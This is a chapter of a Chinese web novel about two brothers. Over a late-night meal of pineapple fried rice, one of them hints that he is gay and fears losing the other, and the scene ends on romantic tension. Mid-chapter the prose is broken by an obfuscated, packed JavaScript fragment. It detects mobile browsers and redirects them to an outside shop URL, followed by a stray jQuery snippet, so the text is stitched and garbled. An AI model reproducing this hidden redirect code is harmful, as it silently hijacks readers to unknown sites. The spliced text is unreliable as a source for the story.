时淮面无表情,拎着他的睡衣领往后带,声音里带着浓浓的困倦,“大半夜不睡觉过来听墙角?” “我是要去吃宵夜的,顺路……就听一耳朵。” 就这样也还是被逮住了。片刻后坐在餐桌旁,羞耻感缓缓浮上心头,应允心虚道,“你别跟他们俩说啊。” 微波炉叮的一声响。时淮把加热完的菠萝炒饭端出来,放到他面前,“他们不会在意的。” 应允从餐具盒里拿出两支银柄长勺,想想也是。他们可是敢在教堂里说fuck hell的叛逆小情侣,可能还会反问一句听起来带不带感。 “我不饿。”时淮没接勺子。 “唔……”他爽快地给自己塞了一大口菠萝炒饭,边嚼边问,“那你起来干嘛?” 正睡着觉身边忽然没人了。谁能不醒。 时淮没回答,只是给自己倒了杯水。他又接着问,“哥你是不是有心事啊。” 杯子里的水平面摇晃了两下。时淮看他一眼,依旧不动声色地喝水,“我能有什么心事。” “最好是没有啦。不过你要是觉得工作压力太大,也可以跟我讲。虽然我只能听听,可能帮不上什么忙,但是……呃,但是。” 他咽下一口炒饭,不得不承认,他安慰人的语言和本领实在是苍白无力,“但是我也就只能听听。” 时淮笑起来,水杯里被呵出一层雾气。 应允低着头扒拉盘子里的炒饭,感觉都吃不香了。前天的内疚卷土重来,“唉,我好没本事。” “你想听什么?工作上的事千篇一律。”时淮说,“下次有新鲜事再给你讲。” “哦。” 他还是垂头丧气的。时淮思忖片刻,“你给夏赢画了墙,也承诺了秦炽,怎么没想着画几幅挂到我公司里去?” “有客户来谈合作,也能帮我充充场面。” “真哒?你想要什么风格的,我回头画了给你。”他眼睛一亮,又追加了句,“不收你钱。” 时淮点头,“好。” 终于能帮上忙了,他愉快地继续吃炒饭。今天的炒饭里放了火腿丁和鲜虾仁,配菠萝酸甜爽口,食材都是他喜欢的。晚饭食欲不佳尝都没尝,这会儿大口吃得停不下来。 小狗的快乐总是简单易得。 时淮也不太理解自己为什么大半夜不睡觉坐在这看他炫饭,想了一会儿又忽然明白了,重新倒了杯水推到他手边,叫他,“乖。” “嗯?”应允埋头炫炒饭正起劲,下意识地应声,舀了一大勺递到他面前,“你要吃吗?” 时淮对食物没有兴趣,却看着他说,“我也爱你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595694|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 静谧的深夜里,掷地有声的话语格外清晰。 下午教堂里的对话怎么这会儿才反应过来,他哥脑内处理器的延迟好高。应允拿起手边的水一饮而尽,心满意足地说,“我知道。” 他自以为知道。 是什么让他满足呢。时淮想。 是兄长对弟弟的爱?饲养员对小狗的爱?还是只因为深夜里一盘好吃的炒饭。 正因为他的快乐来得如此轻易,所以从来不必去细想,深究什么。 有时淮在旁边,他也不好意思再钻进洗手间去搞手艺活了,吃饱了收拾餐具,刷牙漱口回到床上重新酝酿睡意。 “其实我觉得他们那样就挺好的。只要是真心相爱,别的都不要紧,对吧。” 临睡前,应允又想到今晚目睹小情侣的浪漫瞬间,小心地试探,“哥你觉得呢。” “管别人的事干什么。” “……” 这天儿怎么就聊不下去呢。他郁闷地翻了个身,看时淮又躺成雕塑,“哥,这么多年了,你真的就没有过什么喜欢的人么。” 时淮闭着眼睛回答:“没有。” 有人说过,喜欢是太肤浅的形容词。 “唉。”应允沉默了一阵,在他哥睡着之前开口道,“其实吧……我下午说的那些话,仅代表个人观点,都是胡说八道的。” 他后来又想了想,觉得自己在教堂里许的愿很有些过分。 他本来就是孤身一人活在这个世界上,以后结不结婚有没有家都无所谓,不能有孩子也不是大问题,不会有几个人关心的。但是时淮不一样啊。 他想要时淮得到所有好东西。无论是情投意合的爱人还是幸福美满的家庭,通通给他哥安排上。他可能会嫉妒时淮的孩子,但他会像爱护自己的孩子一样爱护那个未知的小生命。 总而言之,他哥未来的日子大有可过。甜甜的恋爱晚来一些也比不来强,是做错了什么要被他诅咒一辈子一起打光棍儿啊。 希望神在打盹,没有听见他的妄言。 “以后也许有一天,你会发现我跟你想象中的弟弟不一样。” 他提前给时淮打预防针,“如果我干了什么让你看不惯的事,你先别生气……生气也行,先别急着不要我。最多就……就……” 应允又开始卡壳,开始思索他愿意付出什么代价,才能让时淮接受他这个弟弟是个同性恋的事实。 犹豫半天。淦,什么都舍不得。 他艰难地让步,“最多就,以后再也不让我跟你睡一个床了。” 身边的气压兀地变得低沉,低沉到不对劲。时淮沉默着坐起身,他也莫名奇妙地跟着坐起来,然后开始心慌。 也不敢再抬眼去看,焦虑地想时淮那么聪明敏锐,会不会已经从他的话里听出了什么。 可时淮只问,“哪一句?” “……啊?”应允一愣。 他哥好像压根没把刚才那些屁话听进去,骤然欺近的距离里,幽黯的眼神锁着他的影子,关注点却跟他完全不一样,“教堂里的话,哪一句是胡说。”